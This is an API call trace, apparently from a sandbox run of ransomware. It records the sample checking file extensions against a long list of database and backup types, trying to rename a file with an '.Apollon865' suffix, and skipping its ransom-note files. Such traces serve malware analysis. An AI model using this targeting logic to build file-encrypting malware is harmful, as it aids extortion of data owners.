	[0080.062] lstrlenW (lpString="zip") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0080.062] lstrlenW (lpString="tgz") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0080.062] lstrlenW (lpString="vbox") returned 4
	[0080.062] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.062] lstrlenW (lpString="vdi") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.062] lstrlenW (lpString="vhd") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.063] lstrlenW (lpString="vhdx") returned 4
	[0080.063] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.063] lstrlenW (lpString="avhd") returned 4
	[0080.063] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.063] lstrlenW (lpString="db") returned 2
	[0080.063] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.063] lstrlenW (lpString="db2") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.063] lstrlenW (lpString="db3") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.063] lstrlenW (lpString="dbf") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.063] lstrlenW (lpString="mdf") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.063] lstrlenW (lpString="mdb") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.063] lstrlenW (lpString="sql") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.063] lstrlenW (lpString="sqlite") returned 6
	[0080.063] lstrcmpiW (lpString1="10.bmp", lpString2="sqlite") returned -1
	[0080.063] lstrlenW (lpString="sqlite3") returned 7
	[0080.063] lstrcmpiW (lpString1="e10.bmp", lpString2="sqlite3") returned -1
	[0080.063] lstrlenW (lpString="sqlitedb") returned 8
	[0080.063] lstrcmpiW (lpString1="le10.bmp", lpString2="sqlitedb") returned -1
	[0080.063] lstrlenW (lpString="xml") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.063] lstrlenW (lpString="$er") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.063] lstrlenW (lpString="4dd") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.063] lstrlenW (lpString="4dl") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.063] lstrlenW (lpString="^^^") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.063] lstrlenW (lpString="abs") returned 3
	[0080.063] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.064] lstrlenW (lpString="abx") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.064] lstrlenW (lpString="accdb") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accdb") returned -1
	[0080.064] lstrlenW (lpString="accdc") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accdc") returned -1
	[0080.064] lstrlenW (lpString="accde") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accde") returned -1
	[0080.064] lstrlenW (lpString="accdr") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accdr") returned -1
	[0080.064] lstrlenW (lpString="accdt") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accdt") returned -1
	[0080.064] lstrlenW (lpString="accdw") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accdw") returned -1
	[0080.064] lstrlenW (lpString="accft") returned 5
	[0080.064] lstrcmpiW (lpString1="0.bmp", lpString2="accft") returned -1
	[0080.064] lstrlenW (lpString="adb") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.064] lstrlenW (lpString="adb") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.064] lstrlenW (lpString="ade") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.064] lstrlenW (lpString="adf") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.064] lstrlenW (lpString="adn") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.064] lstrlenW (lpString="adp") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.064] lstrlenW (lpString="alf") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.064] lstrlenW (lpString="ask") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.064] lstrlenW (lpString="btr") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.064] lstrlenW (lpString="cat") returned 3
	[0080.064] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.064] lstrlenW (lpString="cdb") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0080.065] lstrlenW (lpString="ckp") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.065] lstrlenW (lpString="cma") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.065] lstrlenW (lpString="cpd") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.065] lstrlenW (lpString="dacpac") returned 6
	[0080.065] lstrcmpiW (lpString1="10.bmp", lpString2="dacpac") returned -1
	[0080.065] lstrlenW (lpString="dad") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.065] lstrlenW (lpString="dadiagrams") returned 10
	[0080.065] lstrcmpiW (lpString1="tile10.bmp", lpString2="dadiagrams") returned 1
	[0080.065] lstrlenW (lpString="daschema") returned 8
	[0080.065] lstrcmpiW (lpString1="le10.bmp", lpString2="daschema") returned 1
	[0080.065] lstrlenW (lpString="db-journal") returned 10
	[0080.065] lstrcmpiW (lpString1="tile10.bmp", lpString2="db-journal") returned 1
	[0080.065] lstrlenW (lpString="db-shm") returned 6
	[0080.065] lstrcmpiW (lpString1="10.bmp", lpString2="db-shm") returned -1
	[0080.065] lstrlenW (lpString="db-wal") returned 6
	[0080.065] lstrcmpiW (lpString1="10.bmp", lpString2="db-wal") returned -1
	[0080.065] lstrlenW (lpString="dbc") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.065] lstrlenW (lpString="dbs") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.065] lstrlenW (lpString="dbt") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.065] lstrlenW (lpString="dbv") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.065] lstrlenW (lpString="dbx") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.065] lstrlenW (lpString="dcb") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.065] lstrlenW (lpString="dct") returned 3
	[0080.065] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0080.065] lstrlenW (lpString="dcx") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0080.066] lstrlenW (lpString="ddl") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0080.066] lstrlenW (lpString="dlis") returned 4
	[0080.066] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0080.066] lstrlenW (lpString="dp1") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0080.066] lstrlenW (lpString="dqy") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0080.066] lstrlenW (lpString="dsk") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0080.066] lstrlenW (lpString="dsn") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0080.066] lstrlenW (lpString="dtsx") returned 4
	[0080.066] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0080.066] lstrlenW (lpString="dxl") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0080.066] lstrlenW (lpString="eco") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0080.066] lstrlenW (lpString="ecx") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0080.066] lstrlenW (lpString="edb") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0080.066] lstrlenW (lpString="epim") returned 4
	[0080.066] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0080.066] lstrlenW (lpString="fcd") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0080.066] lstrlenW (lpString="fdb") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0080.066] lstrlenW (lpString="fic") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0080.066] lstrlenW (lpString="flexolibrary") returned 12
	[0080.066] lstrcmpiW (lpString1="ertile10.bmp", lpString2="flexolibrary") returned -1
	[0080.066] lstrlenW (lpString="fm5") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0080.066] lstrlenW (lpString="fmp") returned 3
	[0080.066] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0080.066] lstrlenW (lpString="fmp12") returned 5
	[0080.067] lstrcmpiW (lpString1="0.bmp", lpString2="fmp12") returned -1
	[0080.067] lstrlenW (lpString="fmpsl") returned 5
	[0080.067] lstrcmpiW (lpString1="0.bmp", lpString2="fmpsl") returned -1
	[0080.067] lstrlenW (lpString="fol") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0080.067] lstrlenW (lpString="fp3") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0080.067] lstrlenW (lpString="fp4") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0080.067] lstrlenW (lpString="fp5") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0080.067] lstrlenW (lpString="fp7") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0080.067] lstrlenW (lpString="fpt") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0080.067] lstrlenW (lpString="frm") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0080.067] lstrlenW (lpString="gdb") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.067] lstrlenW (lpString="gdb") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0080.067] lstrlenW (lpString="grdb") returned 4
	[0080.067] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0080.067] lstrlenW (lpString="gwi") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0080.067] lstrlenW (lpString="hdb") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0080.067] lstrlenW (lpString="his") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0080.067] lstrlenW (lpString="ib") returned 2
	[0080.067] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0080.067] lstrlenW (lpString="idb") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0080.067] lstrlenW (lpString="ihx") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0080.067] lstrlenW (lpString="itdb") returned 4
	[0080.067] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0080.067] lstrlenW (lpString="itw") returned 3
	[0080.067] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0080.068] lstrlenW (lpString="jet") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0080.068] lstrlenW (lpString="jtx") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0080.068] lstrlenW (lpString="kdb") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0080.068] lstrlenW (lpString="kexi") returned 4
	[0080.068] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0080.068] lstrlenW (lpString="kexic") returned 5
	[0080.068] lstrcmpiW (lpString1="0.bmp", lpString2="kexic") returned -1
	[0080.068] lstrlenW (lpString="kexis") returned 5
	[0080.068] lstrcmpiW (lpString1="0.bmp", lpString2="kexis") returned -1
	[0080.068] lstrlenW (lpString="lgc") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0080.068] lstrlenW (lpString="lwx") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0080.068] lstrlenW (lpString="maf") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0080.068] lstrlenW (lpString="maq") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0080.068] lstrlenW (lpString="mar") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0080.068] lstrlenW (lpString="marshal") returned 7
	[0080.068] lstrcmpiW (lpString1="e10.bmp", lpString2="marshal") returned -1
	[0080.068] lstrlenW (lpString="mas") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0080.068] lstrlenW (lpString="mav") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0080.068] lstrlenW (lpString="maw") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0080.068] lstrlenW (lpString="mdbhtml") returned 7
	[0080.068] lstrcmpiW (lpString1="e10.bmp", lpString2="mdbhtml") returned -1
	[0080.068] lstrlenW (lpString="mdn") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0080.068] lstrlenW (lpString="mdt") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0080.068] lstrlenW (lpString="mfd") returned 3
	[0080.068] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0080.069] lstrlenW (lpString="mpd") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0080.069] lstrlenW (lpString="mrg") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0080.069] lstrlenW (lpString="mud") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0080.069] lstrlenW (lpString="mwb") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0080.069] lstrlenW (lpString="myd") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0080.069] lstrlenW (lpString="ndf") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0080.069] lstrlenW (lpString="nnt") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0080.069] lstrlenW (lpString="nrmlib") returned 6
	[0080.069] lstrcmpiW (lpString1="10.bmp", lpString2="nrmlib") returned -1
	[0080.069] lstrlenW (lpString="ns2") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0080.069] lstrlenW (lpString="ns3") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0080.069] lstrlenW (lpString="ns4") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0080.069] lstrlenW (lpString="nsf") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0080.069] lstrlenW (lpString="nv") returned 2
	[0080.069] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0080.069] lstrlenW (lpString="nv2") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0080.069] lstrlenW (lpString="nwdb") returned 4
	[0080.069] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0080.069] lstrlenW (lpString="nyf") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0080.069] lstrlenW (lpString="odb") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.069] lstrlenW (lpString="odb") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0080.069] lstrlenW (lpString="oqy") returned 3
	[0080.069] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0080.070] lstrlenW (lpString="ora") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0080.070] lstrlenW (lpString="orx") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0080.070] lstrlenW (lpString="owc") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0080.070] lstrlenW (lpString="p96") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0080.070] lstrlenW (lpString="p97") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0080.070] lstrlenW (lpString="pan") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0080.070] lstrlenW (lpString="pdb") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0080.070] lstrlenW (lpString="pdm") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0080.070] lstrlenW (lpString="pnz") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0080.070] lstrlenW (lpString="qry") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0080.070] lstrlenW (lpString="qvd") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0080.070] lstrlenW (lpString="rbf") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0080.070] lstrlenW (lpString="rctd") returned 4
	[0080.070] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0080.070] lstrlenW (lpString="rod") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0080.070] lstrlenW (lpString="rodx") returned 4
	[0080.070] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0080.070] lstrlenW (lpString="rpd") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0080.070] lstrlenW (lpString="rsd") returned 3
	[0080.070] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0080.070] lstrlenW (lpString="sas7bdat") returned 8
	[0080.070] lstrcmpiW (lpString1="le10.bmp", lpString2="sas7bdat") returned -1
	[0080.070] lstrlenW (lpString="sbf") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0080.071] lstrlenW (lpString="scx") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0080.071] lstrlenW (lpString="sdb") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0080.071] lstrlenW (lpString="sdc") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0080.071] lstrlenW (lpString="sdf") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0080.071] lstrlenW (lpString="sis") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0080.071] lstrlenW (lpString="spq") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0080.071] lstrlenW (lpString="te") returned 2
	[0080.071] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0080.071] lstrlenW (lpString="teacher") returned 7
	[0080.071] lstrcmpiW (lpString1="e10.bmp", lpString2="teacher") returned -1
	[0080.071] lstrlenW (lpString="tmd") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0080.071] lstrlenW (lpString="tps") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0080.071] lstrlenW (lpString="trc") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.071] lstrlenW (lpString="trc") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0080.071] lstrlenW (lpString="trm") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0080.071] lstrlenW (lpString="udb") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0080.071] lstrlenW (lpString="udl") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0080.071] lstrlenW (lpString="usr") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0080.071] lstrlenW (lpString="v12") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0080.071] lstrlenW (lpString="vis") returned 3
	[0080.071] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0080.071] lstrlenW (lpString="vpd") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0080.072] lstrlenW (lpString="vvv") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0080.072] lstrlenW (lpString="wdb") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0080.072] lstrlenW (lpString="wmdb") returned 4
	[0080.072] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0080.072] lstrlenW (lpString="wrk") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0080.072] lstrlenW (lpString="xdb") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0080.072] lstrlenW (lpString="xld") returned 3
	[0080.072] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0080.072] lstrlenW (lpString="xmlff") returned 5
	[0080.072] lstrcmpiW (lpString1="0.bmp", lpString2="xmlff") returned -1
	[0080.072] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp.Apollon865") returned 93
	[0080.072] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile10.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.073] GetLastError () returned 0x5
	[0080.073] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp MoveFileEx error 5\r\n") returned 111
	[0080.073] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp MoveFileEx error 5\r\n") returned 111
	[0080.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.073] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x478c
	[0080.073] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.074] CloseHandle (hObject=0x9c) returned 1
	[0080.074] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.074] CloseHandle (hObject=0x0) returned 0
	[0080.074] CloseHandle (hObject=0x0) returned 0
	[0080.074] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2=".") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="..") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="windows") returned -1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="bootmgr") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="temp") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="pagefile.sys") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="boot") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="ids.txt") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="ntuser.dat") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="perflogs") returned 1
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2="MSBuild") returned 1
	[0080.074] lstrlenW (lpString="usertile11.bmp") returned 14
	[0080.074] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned 82
	[0080.074] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile11.bmp" | out: lpString1="usertile11.bmp") returned="usertile11.bmp"
	[0080.074] lstrlenW (lpString="usertile11.bmp") returned 14
	[0080.074] lstrlenW (lpString="Apollon865") returned 10
	[0080.074] lstrcmpiW (lpString1="tile11.bmp", lpString2="Apollon865") returned 1
	[0080.074] lstrlenW (lpString=".dll") returned 4
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2=".dll") returned 1
	[0080.074] lstrlenW (lpString=".lnk") returned 4
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2=".lnk") returned 1
	[0080.074] lstrlenW (lpString=".ini") returned 4
	[0080.074] lstrcmpiW (lpString1="usertile11.bmp", lpString2=".ini") returned 1
	[0080.074] lstrlenW (lpString=".sys") returned 4
	[0080.075] lstrcmpiW (lpString1="usertile11.bmp", lpString2=".sys") returned 1
	[0080.075] lstrlenW (lpString="usertile11.bmp") returned 14
	[0080.075] lstrlenW (lpString="bak") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.075] lstrlenW (lpString="ba_") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.075] lstrlenW (lpString="dbb") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.075] lstrlenW (lpString="vmdk") returned 4
	[0080.075] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.075] lstrlenW (lpString="rar") returned 3
	[0080.075] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0080.075] lstrlenW (lpString="zip") returned 3
